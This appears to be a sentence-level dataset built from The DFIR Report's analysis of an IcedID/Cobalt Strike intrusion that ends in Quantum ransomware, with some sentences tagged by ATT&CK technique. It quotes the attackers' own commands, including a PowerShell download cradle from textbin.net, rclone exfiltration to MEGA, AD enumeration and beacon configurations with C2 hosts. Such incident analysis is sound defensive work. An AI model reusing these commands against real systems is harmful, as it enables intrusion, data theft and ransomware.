{"sentence": "The use of DCSync is documented in a previous TheDFIRReport titled ‘Cobalt Strike, a Defender’s Guide During AD enumeration, the operator made use of the PowerShell Get-help cmdlet to troubleshoot the following: powershell.exe Get-Help Export-CSV powershell.exe", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Get-Help Get-ADComputer Two file sharing web sites were used to access files, these were dropmefiles[.]com and file[.]io.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On day three, a second Domain Controller was observed accessing the dropmefiles[.]com domain.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition, the threat actors also used Internet Explorer on the domain controller to search Bing.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This is quite unusual to search directly on the victim’s browser.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The current search results point to how to change the hidden view attribute in file explorer in reference to the ProgramData folder.", "labels": ["T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Domain shares discovery with Invoke-ShareFinder Other tools observed in use, included Invoke-ShareFinder, this is a common tool that we frequently encountered in cases for enumerating network shares and identifying data and potential targets.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We have a detailed report covering Invoke-ShareFinder.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In this case, there is a clear indication that the operator launched the Invoke-ShareFinder command via Cobalt Strike, as observed in Event ID 800: Windows Security Logs discovery Once the threat actors had achieved privilege escalation by compromising administrator accounts, an unusual, but interesting discovery technique was observed as seen below.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell -c \"get-eventlog 'Security' | where {$_.Message -like '*<REDACTED>*' -AND 'Source Network Address'} | export-csv c:\\windows\\temp\\events_<REDACTED>.txt\" Executing this query would return all events in the Security log that references the specified account and with a source network address.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Events returned would include process creation, logins, etc.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its likely that this discovery technique forms an extension of T1033 – System Owner/User Discovery, where the threat actor was leveraging this data source to understand the account pattern of life, any indicators from compromise, and to potentially blend in adversary activities.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Base64 for the win Other discovery activities observed included a domain host discovery script via PowerShell.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was double base64 encoded.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The base64 encoding starts with JAB that is a common pattern for UTF-16 starting with $.", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Refer to the Base64 cheatsheet by Forian Roth here.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Unit42 (PaloAlto) provides a good article on trends and observations of PowerShell encoded commands: Decoding this again using CyberChef shows the resulting PowerShell script: Lots of custom scripts dropped by threat actors Other tools and scripts were dropped onto one endpoint:", "labels": ["T1027", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ns.bat file contained thousands of nslookup commands with a corresponding hostname from the network, with output appended to a ns.txt file.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "No file meta data is provided.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The AD objects will be enumerated generating a zip output file containing the following TSV (tab separated files) files if using a default configuration: These files can be viewed with any editor or reader that supports CSV or TSV.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "While Adget was seen used, prior to that tool being run the threat actors also deployed the tried and true AdFind, which was renamed to find.exe and called using find.bat. Another batch file named ‘AD.bat’ was dropped into the ProgramData folder on one host and used adfind to enumerate AD objects.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The AD.bat file had the following commands: for /f \"delims=\"", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A in ('dir /s /b", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "%WINDIR%\\system32\\*htable.xsl') do set \"var=%%A\" adfind.exe -f (objectcategory=person) > ad_users.txt adfind.exe -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "objectcategory=computer > ad_computers.txt adfind.exe -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "objectcategory=computer -csv name operatingSystem >", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ad_computers_enum.txt adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt adfind.exe -subnets -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ad_subnets.txt adfind.exe -f \"(objectcategory=group)\"", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "> ad_group.txt adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt Interestingly, the first line in the batch file denotes the WMI output configuration in HTML form (from XSL file c:\\windows\\system32\\wbem\\en-US\\htable.xsl).", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The HTML was never used.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This can be useful to determine drives, including mounted network shares.", "labels": ["T1047", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "wmic /node:<REDACTED> /user:\"<REDACTED>\" /password:\"<REDACTED>\" logicaldisk get caption,description,drivetype,providername,volumename The dS.bat file was executed by the injected Rundll32.exe process.", "labels": ["T1047", "T1055", "T1082", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During hands-on discovery by the threat actors, the Group Policy was viewed by the Microsoft Management Console application to view Domain Group Policy Objects.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This can provide useful information concerning any restrictions or configuration settings for hosts on the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "WMI Threat actors used the lolbin wmic.exe in order to execute PowerShell Cobalt Strike beacons on multiple workstations and servers.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The payloads were stored on textbin[.]net.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Proxying RDP traffic via a processes such as a Cobalt Strike beacon reduces the exposure of the threat actor’s own infrastructure, and blends RDP activity to those of internal hosts on the network.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The use of RDP was extensively used throughout the intrusion, using a variety of processes (beacon injected or standalone).", "labels": ["T1021.001", "T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The common processes observed were two injected processes, and the Nigu.exe/lsass.exe.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These processes are unusual for establishing RDP connections.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "An example would be pon.txt.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This file was opened during their RDP session and contained the PowerShell commands used to launch a new beacon: \"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\installer.baywaterschool\\Downloads\\pon.txt pon.txt contents: powershell iex((new-object net.webclient).downloadstring('https://textbin.net/raw/ls1jhefawt'))", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote Service Remote services were also created in order to propagate Cobalt Strike beacons in the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "AnyDesk AnyDesk was used to move laterally between a workstation and a backup server as shown below with Sysmon event 3 (Network connection):", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Collection To achieve collection of various directories on multiple hosts, the threat actors used the dir command through the administrative share c$ and redirected the output to a file text named listing.txt. C:\\Windows\\System32\\cmd.exe", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/C dir \\\\[REDACTED HOST]\\c$\\users >> listing.txt", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This aligns with the domain present in the malware configuration details.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After the first call over an unencrypted port, command and control traffic moved over to TLS on port 443.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "destination.ip destination.port tls.client.ja3 tls.server.ja3s zeek.ssl.server.name Count 5.196.103.145 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc choifejuce[.]lol 373 5.196.103.145 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc erinindiaka[.]quest 1 46.101.19.119 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc opiransiuera[.]com 278 178.128.85.30 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc zoomersoidfor[.]com 4 5.252.177.10 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc considerf[.]info 1 66.63.188.70 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc antiflamez[.]bar 1 155.138.159.45 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc www[.]onlinecloud[.]cloud 1 IcedID C2 beaconing over the intrusion: Cobalt Strike There were a number of beacons deployed across the environment, over 70 pipes were created.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For example, on one host, we could observe over 20 pipes being created, in a pattern of postex_xxxx or MSSE-xxxx-server.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For example, a beacon injected into a single Rundll32.exe process generated over 10K connections in a three hour window, consistently across two days.", "labels": ["T1055", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors deployed various beacons over the course of the intrusion using different methods including executables, DLLs, and PowerShell beacons.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some lasted the majority of the intrusion while others only lasted a few days.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Using CAPA, the results listed the following capabilities: Embedded within the binary were strings such as: “inflate 1.2.11 Copyright 1995-2017 Mark Adler”.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once the file was unpacked and the Cobalt Strike beacon binary carved, the Cobalt Strike configuration could be determined as follows: { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 5000, \"jitter\": 28, \"maxgetsize\": 1865903, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 0, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"fazehotafa.com\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1nAS8+PqMnQs3hynG2JDgMQK6ZqLkIoDXWnqaOS/dQsdKBHE0Ify/HIZ2ntSpyMtvomDHCA98pCEi1L7mT0mvfiYapP9Aj776rDpzXMYNiRk1BWrAzJqzLcfwzxJx26hL1VSu1C5mWEl7JsVT/9l/kHcNYAALgNQuI0uZAqM7YQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/ak.css\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"prepend 1767 characters\", \"base64\", \"base64url\" ] } }, \"http-post\": { \"uri\": \"/profile\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 9369, \"startrwx\": false, \"stub\": \"Ms1B7fCBDFtfSY7fRzHMbQ==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Configurations for other Cobalt Strike servers observed: { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 60000, \"jitter\": 0, \"maxgetsize\": 1048576, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 0, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"111.90.143.191\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/j.ad\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\" ] } }, \"http-post\": { \"uri\": \"/submit.php\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 0, \"startrwx\": true, \"stub\": \"Ms1B7fCBDFtfSY7fRzHMbQ==\", \"transform-x86\": null, \"transform-x64\": null, \"userwx\": true }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": false }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 60000, \"jitter\": 0, \"maxgetsize\": 1048576, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 305419776, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"78.128.112.139\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/ga.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\" ] } }, \"http-post\": { \"uri\": \"/submit.php\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 0, \"startrwx\": true, \"stub\": \"tUr+Aexqde3zXhpE+L05KQ==\", \"transform-x86\": null, \"transform-x64\": null, \"userwx\": true }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": false }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Remote Access Software As shown above, three different Remote Access Software were used by the threat actor: It is unclear why the threat actor used three different tools in order to establish an interactive and persistent command and control channel.", "labels": ["T1027", "T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell -np -w", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "hidden -encodedcommand JABzAD0ATgBlAHcAL", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[.....] --> CS beacon --> \"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" -Version 5.1 -s", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-NoProfile --> C:\\Windows\\system32\\cmd.exe /C cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected]#_!", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "| C:\\ProgramData\\anydesk.exe --set-password", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The software packages were bundled within a single Microsoft Software Installer (MSI) package, named hp.msi.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was installed from the ProgramData folder, resulting in the installation of the remote management tools.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The activity can be correlated against the Application log for MSI installer events (Event ID 1033).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During the intrusion, the threat actors were observed accessing collected data such as ShareFinder.txt using Notepad and then copying the contents to the clipboard.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Whilst the process activity indicated Active Directory accounts being used, correlating this activity to Clipboard activity indicated matching sessions, process IDs, and the true source of the user.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In this case, ShareFinder.txt was created in the ProgramData folder by the ShareFinder.ps1 script.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Approximately 2 seconds later, the threat actors accessed this file and copied the contents.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Sysmon Event ID 24 linked the threat actors host name HYPERV and the IPv4 address of 199.101.184[.]230.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This host name was also in the Security events:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The client address was the internal workstation where the RDP traffic was being proxied through.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This occurred before Rclone was used, which leads us to believe the documents were exfiltrated over one of the encrypted C2 channels.", "labels": ["T1041"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Rclone On the backup server, rclone.exe was used in order to exfiltrate data to a MEGA cloud storage. rclone.exe copy --max-age 5y \"\\\\[REDACTED BACKUP]\\E:\\[REDACTED]\\\" remote:Groups --exclude \"*.{psd,7z,dwg,rar,MTS,MOV,pst,PRF,mp3,skp,tmp,gcp,zip,ZIP,MP4,tiff,ava4,psb,tif,DNG,AVI,FIT,FIL,mp4,dxf,mov,rcs,mdb,iso,json,man,exe,gz,ISO,dll,BAK,bak,tib,MP3,tar,m4v,vmdk,vm,PBD,db,BAKDB,icon,msi,ai,gif,cab,iso,png,eps,lib,avi,msg,crs,LIB,CRS,mpg,dcm,tif}\" -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P From the rclone.exe configuration file, we can retrieve the user’s mail address and password.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected] Alert Interestingly, the operator issued a command that displayed an alert informing the end user of a compromise, specifically with Cobalt Strike.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its unclear why the operator chose to do this, as this was around three hours prior to the ransomware being executed or a ransom note being dropped.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The alert message that was visible: The activity can be observed in the PowerShell WinEvent logs:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors dropped the first of their ransomware binaries on the fourth day of the intrusion.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around 40 minutes after creating the alert messages for Cobalt Strike to show up, they dropped locker_64.exe on the backup server.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They created a file (2.txt) and populated it with a list of hosts they had uncovered during their discovery activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor then tried again on a different server using a DLL this time: rundll32 locker_32.dll,run /[email protected] Again, only execution on the server was observed.", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They then executed a new Cobalt Strike PowerShell beacon on a 3rd server and executed the ramsomware using that.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "locker_64.exe They then opened an RDP connection back to the primary domain controller and proceeded to try to execute the binary with a target list again.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After only affecting the single host, the threat actors dropped several batch scripts on the server: pass.bat 1.bat 2.bat The script pass.bat proceeded to reset all the user accounts in the domain to a single password set by the threat actors.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "There were more than 1,000 Windows Security Event ID 4724 events generated within a two minute period.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This password reset would enable the next scripts to function as intended while also hampering any recovery activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The 1.bat file then proceeded to copy the ransomware binary across to hosts in the environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Finally 2.bat used the reset password to enable psexec to execute the ransomware on all the remote hosts.", "labels": ["T1112"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "When the payload was executed, there were some telltale registry events observed indicating .Quantum file extension Shell Open Command artifacts.", "labels": ["T1112"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The HTML file displayed the all but familiar message:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
